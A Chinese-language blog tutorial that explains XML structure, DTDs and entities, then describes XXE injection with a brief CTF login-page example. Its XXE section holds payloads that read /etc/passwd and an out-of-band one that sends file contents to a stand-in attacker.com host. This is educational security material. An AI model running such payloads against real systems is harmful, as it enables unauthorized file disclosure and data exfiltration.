XXE 学习

· 3210 words · 7 minute read

一.XML基础 🔗

XML 全称为 Extensible Markup Language ,即可扩展标记型语言。XML 被设计为传输和存储数据,聚焦于数据的内容。其文档结构包括 XML 声明 、DTD 文档类型定义以及文档元素

所有的XML文档都由元素(Elements)、属性(Attributes)、实体(Entities)、PCDATA(Parsed Character Data,即解析的字符数据)和CDATA(Character Data,即字符数据) 这些构建模块组成。

示例XML文档:

<?xml version="1.0" encoding="UTF-8"?> 
<!-- XML 声明,指定了XML的版本和文档的字符编码 --> 
<!DOCTYPE catalog [  
    <!-- DTD 文档类型定义,定义了catalog文档的结构 -->  
    <!ELEMENT catalog (product+)> <!-- catalog元素包含一个或多个product元素 -->  
    <!ELEMENT product (name, description)> <!-- product元素包含name和description元素 -->  
    <!ELEMENT name (#PCDATA)> <!-- name元素包含解析的字符数据 -->  
    <!ELEMENT description (#PCDATA | CDATA_SECTION)*> <!-- description元素可以包含解析的字符数据或CDATA部分 -->  
    <!ATTLIST product id CDATA #REQUIRED> <!-- product元素有一个必需的id属性 -->  
    <!ENTITY productname "SuperWidget 2000"> <!-- 定义了一个名为productname的实体 -->  
]>  
<!-- 文档元素,即catalog元素,它是整个XML文档的根元素 --> 
<catalog>  
    <product id="123">  
        <!-- 使用实体引用插入产品名称 --> 
        <name>&productname;</name>  
        <description>  
        <!-- 使用CDATA部分来包含包含特殊字符的文本 -->  
            <![CDATA[This is a <special> product with & characters.]]>  
        </description>  
    </product>  
</catalog>

1. 元素: 元素是XML文档的基本构建块,在上面的例子中,<catalog>, <product>, <name>, 和 <description> 都是元素。

2. 属性: 属性提供了元素的额外信息,它们位于元素的开始标签中。在上面的例子中,<product> 元素有一个 id 属性,其值为 123 。

3. 实体: 实体是XML中用于表示预定义数据的一种方式。它们可以在XML文档中被引用,而不是直接写入。

在上面的例子中,定义了一个名为productname的内部实体,其值为 SuperWidget 2000。在<name>元素中,通过 &productname; 引用了这个实体。

4. PCDATA: PCDATA是XML文档中被解析的字符数据。它包含文本,这些文本会被解析器检查以查找标记、实体引用等。

在上面的例子中,<name> 元素中的&productname;实体引用在解析时会被替换为 SuperWidget 2000,但替换后的文本仍然是PCDATA的一部分。

5. CDATA: CDATA部分用于告诉解析器忽略其中的标记、实体引用等,将其视为纯文本,CDATA部分是通过特定的语法(<![CDATA[...]]>)来标记的。

在上面的例子中,<description> 元素使用了CDATA部分来包含包含特殊字符(如 < 和 &)的文本。这样,这些特殊字符就不会被解析器解释为标记或实体引用了。

DTD内部声明和外部引用 🔗

在XML中,DTD(Document Type Definition,文档类型定义)可以通过两种主要方式被声明:内部声明和外部引用。这两种方式在语法上有所不同,但它们都用于为XML文档提供验证规则和结构定义。

内部声明

内部声明是指将DTD直接嵌入到XML文档的声明中。这种方式适用于DTD内容相对较短或不需要被多个文档共享的情况。内部声明的语法如下:

<!DOCTYPE root-element [  
    <!ELEMENT element-name (element-content)>  
    <!-- 其他元素、属性、实体等声明 -->  
]>

其中,root-element是XML文档的根元素名称,element-name是你要声明的元素名称,而element-content则定义了该元素的内容模型(即它可以包含什么)。注意,内部声明中的DTD是直接包含在方括号[]中的。

示例:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE catalog [  
    <!ELEMENT catalog (product*)>  
    <!ELEMENT product (name, description)>  
    <!ELEMENT name (#PCDATA)>  
    <!ELEMENT description (#PCDATA)>  
    <!ATTLIST product id CDATA #REQUIRED>  
    <!ENTITY productname "SuperWidget 2000">  
]>  
<catalog>  
    <product id="123">  
        <name>&productname;</name>  
        <description>A widget that does super things.</description>  
    </product>  
</catalog>

外部引用

外部引用是指通过声明来引用一个外部的DTD文件。这种方式适用于DTD内容较长或需要被多个文档共享的情况。外部引用的语法有两种形式:SYSTEM和PUBLIC。

1. SYSTEM

SYSTEM用于引用本地系统或网络上的DTD文件。它的语法如下:

<!DOCTYPE root-element SYSTEM "URI">

其中URI是DTD文件的统一资源标识符(如文件路径或URL)。

示例:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE catalog SYSTEM "catalog.dtd">  
<catalog>  
    <!-- XML文档内容 -->  
</catalog>

在这个例子中,XML解析器会查找与catalog.dtd相匹配的DTD文件,并根据其中的定义来验证XML文档的结构。

2. PUBLIC

PUBLIC用于引用通过公共标识符(如ISO标准号)和可能的系统标识符(如URI)指定的DTD。它的语法如下:

<!DOCTYPE root-element PUBLIC "public-identifier" "URI">

但请注意,并不是所有的XML处理器都会实际使用public-identifier来查找DTD,它主要用于文档化或作为DTD的标识符。通常,你仍然需要提供URI来实际定位DTD文件。

示例:

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE catalog PUBLIC "-//MyCompany//DTD Catalog//EN" "catalog.dtd">  
<catalog>  
    <!-- XML文档内容 -->  
</catalog>

DTD实体

DTD 实体是用于定义引用普通文本或特殊字符的快捷方式的变量,提高代码的复用性。实体分为 一般实体参数实体

一般实体(普通实体)

一般实体用于在DTD或XML文档中定义一段可重用的文本。它可以在XML文档中被引用,并在解析时被替换为其实体值。一般实体可以在DTD中内部声明,也可以外部声明。

  1. 内部一般实体示例:
<!DOCTYPE catalog [  
    <!ENTITY productname "SuperWidget 2000">  
    <!ELEMENT catalog (product*)>  
    <!ELEMENT product (name, description)>  
    <!ELEMENT name (#PCDATA)>  
    <!ELEMENT description (#PCDATA)>  
]>

在XML文档中使用该实体:

<catalog>  
    <product>  
        <name>&productname;</name>  
        <description>A widget that does super things.</description>  
    </product>  
</catalog>

在这个例子中,&productname; 是一般实体的引用,它会被替换为在DTD中定义的 SuperWidget 2000。

  1. 外部一般实体示例:
<!DOCTYPE catalog SYSTEM "catalog.dtd" [  
    <!ENTITY copyright SYSTEM "copyright.txt">  
]>

注意:外部实体的声明通常不会直接嵌入在 声明中,而是单独存放在一个外部DTD文件中。

在XML文档中使用该实体:

<catalog>  
    <product>  
        <!-- 其他元素 -->  
    </product>  
    <copyright>&copyright;</copyright>  
</catalog>

在这个例子中,&copyright; 是一般实体的引用,它会被替换为 copyright.txt 文件中的内容。

参数实体

参数实体主要用于在DTD中声明,然后在DTD的其他部分或另一个DTD中被引用。*它们不能直接在XML文档中被引用。*参数实体通常用于定义可以复用的元素声明、属性列表或其他DTD结构的片段。

参数实体示例:

<!DOCTYPE catalog [  
    <!ENTITY % productContent "(name, description, price?)">  
    <!ELEMENT catalog (product*)>  
    <!ELEMENT product %productContent;>  
]>

在这个例子中,%productContent; 是一个参数实体,它定义了一个内容模型片段,即 product 元素可以包含 name、description 和可选的 price 元素。然后,这个参数实体在 product 元素的声明中被引用,以指定其内容模型。

二.XML外部实体注入(XXE) 🔗

XXE 攻击是许多基于注入的攻击方式之一,攻击者将 XML 文档中外部实体发送到应用程序中并使用 XML 解析器解析时就会发生这种攻击。

常见XXE注入方式有以下三种:

1. 直接通过DTD外部实体声明

示例:

<?xml version="1.0"?>  
<!DOCTYPE a [  
    <!ENTITY b SYSTEM "file:///etc/passwd">  
]>  
<a>&b;</a>

通过声明一个外部实体b,其系统标识符(SYSTEM)指向了服务器的/etc/passwd文件。当XML处理器解析这个XML文档时,它会尝试从指定的URI加载外部内容,并将这些内容插入到XML文档中。因此,/etc/passwd文件的内容将被插入到<a>标签中,并可能被返回给攻击者。

2. 通过DTD外部实体声明引入外部DTD文档

这种方式下,攻击者首先在外部DTD文档中声明外部实体,然后在XML文档中通过DOCTYPE声明引入这个外部DTD文档。

示例:

external.dtd文件:

<!ENTITY xxe SYSTEM "file:///etc/passwd">

XML文件:

<?xml version="1.0"?>  
<!DOCTYPE a SYSTEM "http://example.com/external.dtd">  
<a>&xxe;</a>

当XML处理器解析这个XML文档时,它会先加载external.dtd文件,然后解析其中的实体声明,最终将/etc/passwd文件的内容插入到XML文档中。

3. 利用参数实体进行XXE注入

示例:

external.dtd文件:

<!ENTITY % file SYSTEM "file:///etc/passwd">  
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>">  
%all;

XML文件:

<?xml version="1.0"?>  
<!DOCTYPE a SYSTEM "http://example.com/external.dtd">  
<a>&send;</a>

当XML处理器解析这个XML文档时,它会加载external.dtd文件,并解析其中的参数实体声明。由于%all;在DTD中被引用,它会展开为send实体的声明。最后,当XML处理器遇到&send;时,它会尝试从指定的URL加载外部内容,并将URL中的%file;替换为/etc/passwd文件的内容。

例题:XXE COURSE 1

打开题目是个登陆页面,随便写个登录

alt text

抓包发现出现xml

alt text

可以看到有个root元素,直接为其添加一个外部实体并在后续引用实现xxe

alt text

参考: https://sinhub.cn/2020/11/xxe-learning/

comments powered by Disqus